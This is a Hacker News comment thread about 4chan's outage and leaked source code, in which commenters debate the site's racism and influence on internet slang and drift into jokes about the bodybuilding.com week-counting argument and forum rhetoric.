| It also made me try Tumblr. I heard terrible things about it
| how it was filled with "social justice warriors" and stuff
| and unsurprisingly, when actually trying it it was nothing
| like that and just a fairly chill place where people mostly
| blog about fiction and pornography and share their thoughts.
| Even when ignoring the filter and logging out and going to
| what is trending, almost no content is political.
|
| I remember when 8chan went down and all the news reports and
| forum posts basically said it was basically Stormfront but I
| was there at the time and it was nothing like that. People
| just posted cat memes, talked about fiction, talked about
| life and dating and stuff. One had to dig on very specific
| boards to find that kind of content.
|
| People talk a lot about "places", online or offline or even
| fiction that they clearly have no firsthand experience with,
| and just reason together about what it's like. They just
| "expect it to be like that" based on some image they create
| in their head, or some cherry picked examples they've seen
| and start to treat it like fact. It's especially weird when
| it's about something they clearly don't like, some kind of
| book or television series of which, despite clearly disliking
| it, they can supposedly tell you exactly what it's like...
| well, they've never seen it, they just reasoned it together
| in their head based on some things they read about it and
| their own expectations.
|
| I frequent 4chan a lot; it's nothing like this description
| indeed. I don't frequent /pol/ because I found the
| discussions to be completely empty but I tried it and it was
| nothing like that. Even within 4chan I read all sorts of
| things about other boards that are just not true when
| actually visiting them. /pol/ isn't a far right echo chamber,
| /r9k/ isn't full of lonely incels, /lgbt/ isn't some social
| justice warrior hub despite what one might read about those
| places on other boards.
| AgentME wrote:
| Many people will downplay this, saying that the alt-righters on
| 4chan were only trolls, or were only a few people sockpuppeting
| to make it look like there were many, or that these people were
| already alt-right and that 4chan didn't actually influence
| anyone into it (and that 4chan's userbase merely cycled out to
| a set of new alt-right users), but I have to say that's all
| wrong. I was in several different online communities 2010-2018
| of people who met through 4chan, and a startling number of
| people did actually adopt alt-right politics over this
| timeframe after I had first met them. I think people who
| downplay how common radicalization on 4chan was didn't have as
| clear of a picture as this experience gave me.
| Ferret7446 wrote:
| Yes, QAnon is a joke, as was the white power hand sign and
| microwave charging iPhones, among hundreds of others.
|
| There is no "baby filter" on 4chan. You are solely responsible
| for believing and/or not being offended by anything. Well, that
| is true everywhere on the Web, but there is zero veneer of it
| on 4chan vs the partial safety bubbles you get on other sites.
| WindowsDev wrote:
| Is the source code which leaked everything one would need to host
| their own copy of the site?
| technion wrote:
| There are tonnes of open source clones on github, source code
| to run the site is nothing special. You still need users.
| joseda-hg wrote:
| Might I add, 4chan's implementation isn't even particularly
| good one
| johnnyjeans wrote:
| Nah I disagree. It's the best one. All of the extra shit
| other boards have just feels like needless bloat. Honestly
| the JS extension they added like 10 years ago is a bit
| much.
| kaiokendev wrote:
| The site has an API for reading posts [0]. It works (worked?)
| quite well. For making posts, you'd need to write your own
| functionality that forwards the CAPTCHA and post timers.
|
| [0]: https://github.com/4chan/4chan-API
| PaulRobinson wrote:
| No, you'll need servers and enough network capacity to handle
| the load, an understanding and supportive hosting provider, a
| law degree or enough money to pay somebody with one to keep you
| out of court/jail/prison, a network of degenerates to provide
| traffic and content and/or a copy of the existing 4chan
| content, a stomach of steel to deal with the content moderation
| duties, and a moral compass so warped you think hosting
| degrading and illegal content is "just liberalism and freedom
| of speech" and not something that needs a second thought by any
| right-minded person.
|
| But sure, if you have all that _and_ the source code, you 're
| all set. Godspeed!
| desumeku wrote:
| All content that violates the law of the United States is
| banned on 4chan. I don't know where you got that idea.
| matheusmoreira wrote:
| I remember 8chan had literally one rule: don't violate US
| law.
| PaulRobinson wrote:
| oh i guess in that case it is legal everywhere then cool
| cool cool kthxbye
| jml7c5 wrote:
| >a copy of the existing 4chan content
|
| 4chan's content is ephemeral. Most of it is gone every few
| days.
| h2zizzle wrote:
| That's how it used to be (and the vast majority of early
| content is indeed lost). Most boards were auto-archived
| starting in the mid/late 2010s, though, with many archives
| being searchable. Some even allow ghost posting.
| winrid wrote:
| It sounds like everything was running on one server, fwiw.
| no_time wrote:
| Not the first time this has happened, and probably not the last.
| I hope they bounce back from this like they did before. It's a
| special place.
| ttw44 wrote:
| We've heard it time and time again that 4chan is the so called
| "last bastion of free speech on the internet" when this so called
| free speech is just being unapologetically racist and
| antisemitic. I hope its gone for good.
| blacktits69 wrote:
| you think these are akin to endangered species? these are
| humans collectivizing and cloaking under maladaptive pretenses.
| you're advocating for empowering polio because it is life and
| deserves a chance.
| DaSHacka wrote:
| Halfchan's likely been around longer than you have and will
| just as likely remain around long after you're gone
| ttw44 wrote:
| That's fine, I don't really expect a 22 year old site with
| generational backup storage to actually go down forever. I'm
| 23, so I got them beat!
| y-curious wrote:
| I, too, prefer to see my vulgar memes served by an AI algorithm
| alongside ads. Sooooo much better!
|
| /s
| kittikitti wrote:
| Yes, and everywhere else people have to worry about being
| deported for pointing out Israel's war crimes. At least no one
| needed to worry about that on 4Chan, but seeing an anonymous
| racist meme is even worse for people like you.
| ttw44 wrote:
| That is a completely separate problem, and it's dishonest
| making the comparison. Extremist right wing ideology and
| genocide is actively advocated on /pol/ as well as anti-
| Jewish rhetoric. Neo-nazism is not pointing out Israel's war
| crimes, and pointing out Israel's war crimes is not neo-
| nazism or anti-Jewish. /pol/ isn't antisemitic for Israel's
| genocide; they just hate Jewish people.
|
| The Trump administration trying to deport people for doing so
| is also unjustified. People are freely criticizing Israel on
| other popular social media (notably TikTok and Instagram)
| without inciting a modern neo-nazi and right wing movement
| like what has happened on 4chan in the past 10 years.
| soon_to_be wrote:
| 4chan being gone for good would've been a bad thing regardless
| of your views. All those people who used to come there and just
| talk wouldn't just cease to exist nor stop feeling the way they
| feel. At the very least, it's the devil you know.
| A4ET8a8uTh0_v2 wrote:
| Yep, there is a reason the site was operational as long as it
| was.
| ttw44 wrote:
| Obviously those people will continue to think and exist the
| way they are. But we can't assume things will slowly start
| getting better if we continually allow increasingly racist
| "discourse" and misinformation in our society.
| snvzz wrote:
| >unapologetically racist and antisemitic.
|
| Anyone who's actually familiar with 4chan knows that posts
| containing any of that are cracked on hard, both by other users
| (replies calling it out) and janitors (delete+ban).
| creatonez wrote:
| Is this actually true? So they just get around it with
| countless dogwhistles that mean the exact same thing?
|
| Every single page is filled to the brim with racism, that is
| evident to anyone who has visited the site.
| LightBug1 wrote:
| Arguably that's where the current generation of
| dogwhistlers learned their craft.
|
| Musk is supreme at it ("kek").
| monadgonad wrote:
| I'm not sure how you've come to that impression. The boards I
| used to frequent are hobbyist ones, not political, yet they
| have people calling each other the n-word all the time. On
| /fit/ anything done by a large corporation or as a
| moneymaking scheme is talked about as if it's a Jewish
| conspiracy, to the point where they call highly-processed
| food "goyslop". /g/ hates Indians and calls software and
| technology that it likes "the white man's choice." I could go
| on. This pervasive background of racism is all over 4chan,
| and I wonder why you're trying to downplay it.
| ttw44 wrote:
| I'm actually familiar with 4chan and lurked on it when I was
| underage at least daily. It was funny for the time.
|
| I'm not sure where the idea comes from that the entire site's
| reputation is containerized inside /pol/ or any NSFW board.
| It's just misleading if you take 5 minutes to browse around
| (if you still can, anyway). The language and harassment used
| in ALL boards of any group of people or individual is
| disgusting.
| lysp wrote:
| > racist and antisemitic
|
| There was a leak of the political channel by poster's country.
|
| According to that post, the top posting country by far (226M
| posts) is also the same country that is at the receiving end of
| antisemitism.
| ttw44 wrote:
| Yet another reason 4chan and its anonymity is a
| misinformation and propaganda warzone.
| sksrbWgbfK wrote:
| "unapologetically" and propaganda are quite opposite
| concepts in that situation. Make up your mind because you
| are the one pushing for discord here.
| yapyap wrote:
| Hacker named 4chan hacks 4chan
| Red_Tarsius wrote:
| I feel too many people conflate /pol/ with the whole website. I
| enjoyed browsing through sfw boards like /tg/ (tabletop media),
| /ck/ (cooking) and /fit/ (fitness). I had long discussions about
| the SW sequels on /tv/ back in 2015-19. The readership was
| surprisingly diverse and the anonymity lead users to provide more
| focused replies. With bodybuilding.com gone, the blue boards felt
| like the last bastion of the old internet.
| MattDemers wrote:
| I think people also don't acknowledge how much terminology,
| slang and other culture originate and spread there. When it
| breaches into Twitter (usually through funposters) people kind
| of ignore the unsavoury origin and rewrite the history. The
| anonymous nature kind of provides that petri dish of "if it's
| strong culture, it'll survive or be modified."
| thih9 wrote:
| > how much terminology, slang and other culture originate and
| spread there
|
| Could you give some examples? The more unexpected, the
| better.
|
| Preferably with sources, because tracing word origin is
| difficult enough on its own.
| boyesm wrote:
| Moot lists some examples in this video:
|
| https://youtu.be/a_1UEAGCo30?si=JMVO5ox3K2AhxrMY&t=97
| dmonitor wrote:
| Wiktionary has a surprisingly robust list
|
| https://en.wiktionary.org/wiki/Category:English_4chan_slang
| thih9 wrote:
| Note, some of these are associated with the far right.
|
| > fren later came to prominence on sites such as 4chan
| and the subreddit /r/frenworld as a dog whistle used by
| far-right white nationalists and fascists to refer to
| each other
|
| https://en.m.wiktionary.org/wiki/fren
| NewsaHackO wrote:
| Why does that matter?
| immibis wrote:
| because if you're trying to say a site was a positive
| influence, because it created a number of Nazi slurs and
| dog whistles... complete the sentence yourself
| anigbrowl wrote:
| So you can have a clue who you're talking to.
| FiniteField wrote:
| >Note, some of these are associated with the far right.
|
| I think that should be trivially obvious based on the
| discussion at hand. What is interesting, though, is how
| so many of these terms came into public use as well-
| known, generic terms, despite the far right being poison
| to any normal person's reputation. Even many of the ones
| containing obviously offensive components have made it
| into wider use in some clipped form. Eg:
|
| - based
|
| - goyslop -> slop
|
| - normalfag -> normie
| lukas099 wrote:
| I could be wrong but I don't think 'normie' came from
| 'normalfag'. I'm somewhat skeptical that 'goyslop' was
| the first use of 'slop' in this way too. And of course
| 'based' comes from rapper Lil B.
| jdminhbg wrote:
| I think "normalfag" is a backformation from "normie"; at
| any rate, "normie" is itself 4chan slang that entered
| norm... ie... usage one way or another. "Based" was
| coined by Lil B but absolutely entered wide usage via
| being adopted as a meme by 4chan.
| tokai wrote:
| Should be noted that they have a history of trying to co-
| opt neutral terms and symbols. Like the frog and the ok
| gesture.
| FiniteField wrote:
| Pepe the frog became associated with the online far right
| because it was a commonly used memetic avatar in general
| 4chan culture, and became intertwined with the space's
| shift to the political right in a fairly organic way. The
| association was boosted by (IIRC) the 2016 Clinton
| campaign's assertion that it was a far-right symbol,
| which was obviously embraced by those people as a sort of
| irreverent statement. Likewise, there may have been some
| very thin, actually existing connection between the far
| right and the "ok" gesture, but it really came about as
| an association that was imposed by the media and
| subsequently embraced by that community. To say these
| terms were "co-opted" isn't really correct.
|
| I think there's actually a better case to be made that
| the pipeline of "co-option" (if you want to call it that)
| is stronger in the reverse direction. I posted a sister
| comment to yours about that.
| tokai wrote:
| >actually existing connection between the far right and
| the "ok" gesture but it really came about as an
| association that was imposed by the media and
| subsequently embraced by that community
|
| There wasn't any connection. You are running things in
| reverse. There was an explicit concerted effort to 'take
| it over'. With celebrations when it succeeded as the
| media to the bait.
| milesrout wrote:
| The opposite is true! It was falsely associated with the
| right by the clueless left-wing media (the same people
| that were doing interviews with "the hacker named
| 4chan"), which was then embraced tongue-in-cheek because
| it was so ridiculous.
| ogurechny wrote:
| You both are wrong, thee is actually a symbiosis. Media
| (any kind) need freaks, maniacs, disasters to generate
| views, and keep common people puzzled, thrilled, and
| entertained. Anons need lulz. Therefore complete nonsense
| -- "white poodle is a secret way to say Heil Hitler to
| the ones in the know" -- will be reported in hopes that
| it won't fizzle out, but will become the next media
| sensation, and immediately there will be threads from
| totally legit specialists discussing how to breed the
| whitest dog possible.
| giancarlostoro wrote:
| Don't forget the slurs. They have some unique slurs in there
| that have backstories too.
| 52-6F-62 wrote:
| I thought culture was a "solved problem" now that we have AI.
|
| I can't keep up anymore.
| 52-6F-62 wrote:
| Well either people thought my comment was to be taken
| literally, or they believe 4chan is culture and other
| hurting cultural gatherings like midsize live music venues
| were not.
| hotfist wrote:
| This absolutely was the case for a long time. It was the
| cultural center of the internet where nearly all memes sprang
| from or gained traction and context before leaving orbit for
| the greater internet.
|
| That has not been the case for years though. I'd say it
| shifted to twitter as things shifted to inseparably political
| on almost all of 4chan maybe 6-8 years back and then shifted
| away from twitter a while after elon bought it and a lot of
| people started to bail. and I honestly don't know where
| exactly it's shifted to now, but I'd have to guess tiktok and
| similar new platforms.
|
| But regardless I do think 4chan has lost nearly all of it's
| cultural influence, but still maintains it's notoriety.
| packetlost wrote:
| I think it's _less_ the case now, but 4chan is absolutely
| still the source of new slang. It 's just less concentrated
| on that one platform these days.
| YurgenJurgensen wrote:
| 'Slop' was a 2024 Oxford Dictionary word-of-the-year
| candidate, and what most of the people using it probably
| don't realise is that it originated on 4chan as an
| abbreviation of 'goyslop'.
| corimaith wrote:
| People were using "Based" and Gigachad in the late 2010s
| for years before the mainstream picked it up in the 20s.
|
| Also for indie video games, many do find their attention
| and early fanbases on /v/ before they spread out to
| twitter. Largely because /v/ is very information sensitive
| and will pick up primary news usually minutes after they
| arrive.
| el_cujo wrote:
| I think this was true at one point but not for the past 5-10
| years. Based off of using the site I feel like now a lot of
| things start on other sites (particularly smaller accounts on
| twitter), get aggregated and popularized on 4chan, and then
| get picked up on other sites (often regurgitated back to
| twitter). Knowyourmeme shows this for a lot of things that
| people typically attribute as original to 4chan. There was
| definitely a time when a ton of stuff originated on 4chan but
| these days everything is so interconnected with the same
| people posting on twitter, reddit, and 4chan that I think
| 4chan gets a lot of unearned credit
| nemomarx wrote:
| the blue boards did have some slow overlap with pol in my
| experience - they were more distinct before 2014 or so and by
| 2016 I barely recognized /tg/ culture.
|
| I'm curious, why bodybuilding.com in particular? I think I've
| only heard of it once. I wonder if anyone on HN remembers
| stardestroyer.net or old weird tech forums?
| sgarland wrote:
| I used to hang out at Head-Fi a lot in the early '00s. It's a
| headphone and headphone accessories (amplifiers, DACs, etc.)
| forum, and people nerd out about building their own stuff. I
| recall writing a review on some obscure Chinese brand of
| sound card that people liked, because it happened to have a
| really good DAC for the rear output (it was a surround sound
| card, back when that was something interesting).
|
| I gradually lost interest when they started heavily pushing
| commercial sponsors. I _get_ it; sites aren't free to host,
| and moderator time isn't free / unlimited, but it's still
| sad.
| torginus wrote:
| Sites are surprisingly cheap to run all things considered -
| I remember asking the owner of an fairly prominent
| aerospace enthusiast forum (one of the biggest on the
| internet) how much he spends on hosting - he told me he
| hosts on a Linux box on DigitalOcean that runs phpBB, and
| he spends about $50/month for the whole website - not a
| crazy amount even for a hobbyist.
| h2zizzle wrote:
| Bodybuilding.com's misc board was essentially the same sort
| of raunchy teen hangout as /b/, sans the porn. It wasn't
| anything goes, but a lot did, and of course you were dealing
| with the kinds of meatheads (said lovingly) who would happen
| upon bb.com in the first place.
| sgarland wrote:
| > bodybuilding.com
|
| Obligatory post about the dumbest argument to ever be had
| online [0]. It's so good, the Wikipedia entry [1] has a section
| devoted to it.
|
| [0]:
| https://web.archive.org/web/20240123134202/https://forum.bod...
|
| [1]: https://en.wikipedia.org/wiki/Bodybuilding.com
| sensanaty wrote:
| My personal favorite rendition of this:
| https://www.youtube.com/watch?v=JqylqmDl0Mw (Mega64 - Flame
| War Theater - "Full Body Workout Every Other Day?")
| sgarland wrote:
| This is amazing, thank you.
| ethbr1 wrote:
| I had to watch that at 2x to keep the thoughts-per-second
| above catatonic.
|
| In the same vein, for those who haven't seen it, the
| classic "Is soup a drink?" debate:
| https://m.youtube.com/watch?v=IDNuz_VFJtU
|
| Somewhere, there are ancient Greek rhetoric teachers
| spinning in their graves.
| valiant55 wrote:
| Is cereal soup?
| ethbr1 wrote:
| Objection.
| what wrote:
| No, that's just an extra dressed salad.
| jachee wrote:
| Yes. And a vanilla soy latte is a three bean soup.
| Modified3019 wrote:
| That was a treat, thank you.
|
| Cultured gentlemen such as yourself may also appreciate:
|
| >Intellectuals Solve Life's Big Mysteries | Big Brain by
| Tom and Don
|
| [nsfw discussion]
| https://www.youtube.com/watch?v=YcYzzS7PwG8
| cwmma wrote:
| For the record this is an example of the "Fencepost error"
| where the last item in a range gets double counted as the
| first item in the next range and is incredibly common in
| dyscalculia (the math version of dyslexia) as people will
| have "visual number lines" in their head that cover ranges of
| numbers but the ends get double counted, so there will be a
| 10-20 number line then a 20-30 number line.
|
| I suspect TheJosh had something like that with the week where
| he visualized it with Sundays at both ends but lacked the
| self awareness to realize that this was not a universal
| representation.
| ethbr1 wrote:
| As the quip goes, there are two hard problems in computer
| science: cache invalidation, naming things, and off-by-one
| errors.
| 6LLvveMx2koXfwn wrote:
| That's three though.
| recursive wrote:
| That's the neat part.
| emmelaich wrote:
| Depends what you mean by the name "three"
| 6LLvveMx2koXfwn wrote:
| or "neat"
| fetzu wrote:
| Not if you start counting at zero!
| TZubiri wrote:
| 0,1,2,3
|
| That's 5
| B1FF_PSUVM wrote:
| "Five is right out"
| gsck wrote:
| Once the number three, being the third number, be
| reached, then lobbest thou thy Holy Hand Grenade of
| Antioch towards thy foe, who, being naughty in My sight,
| shall snuff it.
| Y_Y wrote:
| The week starts and ends on zero
| scrapcode wrote:
| Whoosh
| Izkata wrote:
| I'm not sure about the "fencepost error" part, but he's
| thinking of days as durations rather than points. It's
| early in the thread, about halfway down the first page:
|
| > You don't start counting on sunday, it hasn't been a day
| yet, you don't start counting til monday. You can't count
| the day that it is, did you never take basic elementrary
| math?
|
| Put in other terms, TheJosh uses "Sun - Sun" as inclusive
| start and exclusive end, while Justin-27 uses "Sun - Sat"
| as inclusive start and inclusive end.
|
| I think TheJosh mixed things up when trying to explain it
| (durations vs inclusive/exclusive), so doubles down and
| comes up with weirder stuff later in the thread. I didn't
| read the whole thing though, stopped near the bottom of the
| first page.
| arvindhmani wrote:
| I wanted to keep going but pages 3 onwards don't seem to
| be archived. Argh, back to work I guess
| Tijdreiziger wrote:
| Enjoy: https://youtube.com/watch?v=teC_uksSPBU
| krackers wrote:
| >days as durations rather than points
|
| Isn't thinking of day X as the range [midnight of X, X+1
| midnight) isomoprhic to associating it with a point for
| X, at least for purposes of considering coverage (e.g.
| both approaches work to show that there are 7 days that
| cover a week).
| Izkata wrote:
| Yes, see the end of my comment:
|
| > I think TheJosh mixed things up when trying to explain
| it (durations vs inclusive/exclusive)
| helaoban wrote:
| Can we pause and admire the sheer contagiousness of the
| debate? We are now extending it to the meta-realm,
| discussing the possible mental states that led to one or
| more of the original participants adopting certain lines of
| reasoning...
| bee_rider wrote:
| Actually the brain is part of the body, so it doesn't
| extend into the meta realm, the debate is still about
| dates and body building just with a different organ.
| ryandrake wrote:
| Speaking of the meta-realm, I've always wondered how
| messages in forum flamewars always seemed to gravitate
| toward a very specific pattern:
|
| <personal insult>
|
| <the point>
|
| <bait to continue flaming>
|
| You see this pattern all over the Internet. For example,
| from that bodybuilding.com thread: Are
| you retarded? [personal insult] Maybe you
| should look at a calander, I didn't double count sunday,
| my two weeks started and ended on sunday, exactly 14
| days. [the point] What don't you understand?
| [bait to continue flaming]
| emmelaich wrote:
| There's a related, more polite version of "are you
| retarded" which is not uncommon even here on HN. It is _"
| I'm confused"_. I don't know whether it's a phrase that
| I'm over analysing, but it always comes across as
| disingenuous to me.
|
| The responder is never actually confused, they have a
| question that they should just ask.
| thinkingemote wrote:
| "I really don't understand why people would think X"
|
| is another example but I think there may be some
| expression of non-understanding. "So retarted it doesnt
| make sense."
|
| Similar, "are you a n*zi" never seen here but as a simple
| but clever "Could you elaborate?" often as a reply to a
| polite but ambiguous comment. It's basically bait for the
| ambiguous commenter to confirm or deny the morality of
| their comment.
| dbuder wrote:
| "genuinely curious" is the new one I see everywhere
| lately.
| sph wrote:
| The passive aggressive Gen Z version is "make it make
| sense" which I despise
| steve_adams_86 wrote:
| Something I've noticed (and which is present among all
| people, but seems particularly common with younger people
| today) is a sort of unconsidered, unobserved sense of
| authority over social matters.
|
| I know this was a thing when I was a kid, but something
| is different now. I watch my kids do it and part of me
| gets it, but another part of me wonders if it's heavily
| influenced by something modern like social media.
|
| It leads to this sort of attitude, like thinking you can
| tell people to make it make sense. It offloads a lot of
| cognitive burden onto others while assuming a position of
| authority.
|
| I don't want this to sound like "kids these days!",
| because I don't think it's as simple as that. Perhaps
| it's most obvious in kids because the attitude is most
| well-imprinted in them, but it's absolutely present
| elsewhere in older people as well. Yet I didn't see it so
| prevalent when I was younger.
|
| It's very common in political debates. Part of what
| exemplifies it best is a reluctance or outright refusal
| to do the mental labour of explaining one's position on a
| matter. That is, without fail, someone else's job. You've
| already got it figured out. It's their fault that they
| don't get it.
|
| Like, you don't get why Some Idea is correct and all
| Other Ideas are stupid? Your loss. Make it make sense.
|
| I'm missing a lot here. Fundamentally it's an
| unwillingness and a failure to actually engage,
| participate in having and defending ideas, and being
| accountable to held beliefs. I have to constantly tell my
| kids to own their beliefs and understand them, because
| they're remarkably comfortable adopting and espousing
| ideas and beliefs without examination and intentionality.
|
| I'm not claiming it's a problem with youth though. I
| think it's a problem with the dispersal and sheer density
| of information these days. People are overwhelmed. More
| than ever we go with vibes over actual considered
| interpretations of what we encounter. The default in the
| vibe based information economy is to assume a confident
| position and refuse to engage in good faith discussions,
| because you're not even sure how you got where you are.
| People's belief systems are like a social media Plinko
| machine.
|
| I don't mean that condescendingly. There's so much
| information, so much to process, so many complex matters,
| etc. We're all maxed out. Make it make sense.
| sph wrote:
| Good post, and I believe indeed it is caused by social
| media and newer generations molded by it.
|
| Go find some controversial discussion from 80-something
| years ago on Youtube, say, about homosexuality. Even as
| an older Millennial it feels the ability to entertain and
| politely discuss ideas we do not own nor approve of has
| completely disappeared. Now it's literally just black and
| white, right or wrong, with or against us, with no nuance
| or possibility for one's opinion to move towards
| compromise. It's two camps making hateful memes about the
| other.
|
| We are not made for this style of socialization and
| discourse, and no one is taking this problem seriously.
| It worries me a lot.
| close04 wrote:
| "Genuinely curious" or "honest question" are the internet
| equivalent of "don't shoot, I'm coming out with my hands
| up". The disclaimer people feel the need to put so they
| don't catch a bullet for no good reason, when most
| internet forums are filled to the brim with trigger happy
| people with itchy fingers and immunity from consequences
| (barring a few reputation points).
| dcminter wrote:
| > "Genuinely curious" is the internet equivalent of a
| "don't shoot, I'm coming out with my hands up".
|
| Ha, that's a great thought and I will doubtless quote
| (steal) it in the future.
| thinkingemote wrote:
| Could be similar to "I'm not trying to be offensive but
| ${offensive statement}" Its a kind of disclaimer but more
| often found in speech than on websites.
|
| I like playing with this sometimes by saying something
| like "I'm not trying to be racist but have you noticed
| that the weather is a bit cold today"... "that wasn't
| racist?!" ... "yes, I said it wasn't"
| emmelaich wrote:
| Yes! Like "real question" it _should_ be redundant.
| Vinnl wrote:
| That's basically the opposite of /s - "I know it's hard
| to tell whether something is sarcasm or not through text,
| so I want to emphasise that I am not".
|
| Of course, people will inevitably use it sarcastically.
| hoseja wrote:
| The poster is likely confused at how anybody can be so
| r-slurred.
| imtringued wrote:
| There is no better way to destroy the ability to
| communicate than by assuming there is evil lurking around
| every corner and all you have to do is uncover it!
| lupusreal wrote:
| Thinking that every conversation you have is high stakes,
| that the fate of the world hangs in the balance to be
| decided by your ability to conquer your conversational
| opponents, is a really insidious form of mind rot that is
| prevalent across the web and seems to know no ideological
| bounds.
|
| Maybe it's just what happens when narcissists get online.
| The inability to acknowledge that the argument doesn't
| matter and so you can chill out and let retards be
| retards is fundamentally a failure in humility.
| rapidaneurism wrote:
| Haha, I do the I'm confused, but that is:
|
| 1 me being polite and not calling you an idiot.
|
| 2 me hedging my bets in case I am the idiot.
| neuroticnews25 wrote:
| And I thought this is the pinnacle of being a well
| mannered netizen. It turns out you actually shouldn't
| even THINK of others as idiots?
| hoseja wrote:
| The party told you to reject the evidence of your eyes
| and ears. It was their final, most essential command.
| worble wrote:
| Yeah I definitely do that too. I've never really thought
| about why I use that language, but thinking about it, it
| feels like a short hand and slightly politer way of
| saying
|
| > I think you're wrong
|
| > Here's why I think you're wrong
|
| > Please correct me if I've misunderstood something
| dcminter wrote:
| Uh... I use "I'm confused" a lot. Because often I _am_
| confused! Someone said something that didn 't make sense
| given what I know.
|
| It divides fairly evenly (I think, being generous to
| myself here) between:
|
| Yep, something I thought was true was not true.
|
| Something they said was wrong, or they omitted something
| without which their meaning was ambiguous.
|
| Maybe a smattering of "I/they misparsed what was said"
| too. But really. Often I'm just confused. When I use it I
| definitely don't mean they're an idiot I just worry that
| they'll think _I 'm_ an idiot... (...and that they might
| be right.)
| amadeuspagel wrote:
| There's also _" I'm retarded"_ or _" Retard here"_.
| ngruhn wrote:
| Maybe I have that. I can totally solve much more
| complicated problems but this fencepost shit just messes
| with. Recently I thought last quarter ended March 1st
| because a quarter has 3 months and March is the third
| month.
| throwaway2037 wrote:
| I never saw this before. Thank you to share. Truly, this is
| peak Interwebs.
| butterlettuce wrote:
| If a woman ever asks what men's locker room talk is like,
| just show them that post. We really are a simple bunch.
| mrguyorama wrote:
| I'm always confused when shitty men insist that saying
| outright misogynist things and even rape jokes is "just
| locker room talk", like, nope, no, our locker rooms in high
| school did NOT have those happen. That kind of womanizer
| talk would out you as immensely insecure and a braggadocios
| loser.
|
| Lots of dick helicopters though.
| Der_Einzige wrote:
| So basically it's very gay?
| mrmlz wrote:
| I've never seen balls touch in a locker room so
| definitely not gay.
| justinator wrote:
| That IS dumb -- everyone knows there are 8 days in a week.
| Sunday to Sunday -- you can count it on your hands!
| andrelaszlo wrote:
| Well, the thing is that if it's Sunday you can't know if
| it's the Sunday at the end of the week or the Sunday at the
| beginning of the week. Therefore, each Sunday is in two
| weeks and should be counted twice, 8 + 2 = 10 days in a
| week. Don't feel bad, a lot of people miss this.
| justinator wrote:
| Phewah. I feel like you just upgraded my entire life!
| ren_engineer wrote:
| lol that was a bait thread, this is the same place that had a
| discussion on whether a pitbull could defeat the Sun if it
| snuck up on it at night
| wcfields wrote:
| Do you have a link or reference to this? I'm going to be
| thinking about this for weeks now.
| Modified3019 wrote:
| I found some fragmented search scraps earlier today which
| I saved.
|
| The thread is possibly:
| https://forum.bodybuilding.com/showthread.php?t=170324391
| (now defunct)
|
| The link title was "Pitbull vs Sun, Pitbull wins
| because.... - Bodybuilding.com Forums"
|
| The link text preview was "it just has to attack in the
| night time when the Sun is sleeping. amirite or is there
| a way for the Sun to win?"
|
| Unfortunately this is not in archive.org or archive.is
| adamrezich wrote:
| > In 2015, Vice News contacted mathematician Joanna Nelson
| for a resolution, and she said that TheJosh would have to
| schedule his workouts in two-week chunks, claiming a week is
| seven days from Monday to Sunday.
|
| Why was a mathematician necessary for this assertion?
| anigbrowl wrote:
| Because if you ask an economist you'll get two answers,
| neither of which will be helpful.
| wolrah wrote:
| > Obligatory post about the dumbest argument to ever be had
| online
|
| Jon Bois did an amazing video about this one:
| https://www.youtube.com/watch?v=eECjjLNAOd4
| artursapek wrote:
| I love this thread so much
| hsuduebc2 wrote:
| I need to thank you for the web archive post. The argument
| was amusing as it was dumb.
| blackhaj7 wrote:
| Laughing my head off reading through this. Thank you
| flmontpetit wrote:
| It used to be a diverse place without much to tie all the
| boards and users together save for a shared commitment to
| counter-culture. Then GamerGate and Donald Trump happened.
| "Every board is /pol/" was one of the most frequent replies you
| would see for a while until all the halfway decent people left.
|
| /g/ is where I and a lot of people learned about FOSS advocacy
| and now it's just gamer hardware and transphobia.
| johnnyjeans wrote:
| /g/ genuinely was one of the worst boards on the website, but
| there were a handful of lurkers who made good posts in some
| of the general threads. the site as a whole was still was a
| diverse place up until yesterday, with only a few boards
| being unusably bad, and it was getting increasingly better.
|
| it's a bit sad really. zero-barrier to entry, no login gates,
| no accounts, and traffic was so high that it moved really
| fast. it was like a dive bar covered in grime. will be sad to
| see it go. none of the other imageboards still kicking are
| quite the same, most are even worse tbh.
| flmontpetit wrote:
| I guess the thing that really changed is our tolerance for
| bad actors. As far as I'm concerned even a 99% signal-to-
| noise ratio is unacceptable if the 1% represents a
| contingent of determinedly obnoxious and hateful people,
| and 4chan was never anywhere close to 99% signal.
| johnnyjeans wrote:
| Nah, the board culture really did change in the last 7
| years. In a past that's not too distant nobody was
| obsessed with trans folk. That's not to say there weren't
| vulgarities and unpleasantries, but there was definitely
| a substantial IQ drop somewhere around 2018 and 2019. I
| haven't seen the "Install Gentoo" meme in a while, the
| old board culture was basically replaced with cringe
| fringe zoomerisms.
| _345 wrote:
| ive always wondered, is there a way to use technology on a
| board style wesbite to enforce a higher quality culture? i
| toyed with the idea of requiring an org email similar to
| Blind except it could be a school email too, the hope being
| that after verification you are fully anon still just now
| with write privileges and that it would somehow lead to
| better quality discussions and engagements
| ethbr1 wrote:
| Aka how Facebook originally launched (.edu-only)
|
| Social network culture is a multipart problem:
| 1. You need quality posters 2. You need to provide
| value to those posters 3. You need to remove low-
| quality posts attracted by site growth
|
| Any system that creates the above will be successful.
|
| The rub is that the humans behind (1) are free agents,
| with little incentive to stick to the site once (2)
| fails.
|
| Hence rapid Digg-style collapses from site owners who
| don't realize how tenuous their community quality is.
| TMWNN wrote:
| >Aka how Facebook originally launched (.edu-only)
|
| Similarly, I've heard it said that Usenet should never
| have allowed non-.edu posts.
| codexon wrote:
| I would say that reddit quality has declined a huge
| amount, but people won't leave because there's a huge
| network effect. Nobody will join a reddit clone that is
| 95% functionally the same because there's nobody there.
| Every community that tried to migrate off reddit to a
| reddit clone has failed.
|
| As an example of why reddit is so bad now (aside from the
| obvious moderation issues) about 1-2 years ago, reddit
| added a block feature that stops you from replying to any
| comment the blocker made and even any comment somebody
| else made below them.
|
| So pretending this is reddit, I could make this reply
| saying that you are wrong and then say you have no
| evidence for your claims. Then I could immediately block
| you, making it look like you have no response. You are
| also not allowed to edit any of your comments saying you
| got blocked or else it will shadow delete that comment.
|
| I have personally witnessed this abuse 5 times in the
| past few months and I don't even use reddit that much.
| immibis wrote:
| Is there any evidence that most of Reddit is actually
| real people (paid shills and bots don't count)?
| codexon wrote:
| reddit may have shills and bots but even if they were 90%
| of the population, they still have way more users than
| anything like voat, saidit, etc...
| HideousKojima wrote:
| Every community that tried to migrate off reddit to a
| reddit clone has failed.
|
| r/drama spun off their own site successfully, and I know
| of another community that did and is thriving using a
| fork of r/drama's server software (won't say which to
| keep the normies away)
| kmeisthax wrote:
| You forgot problem 4: You need to provide your VC
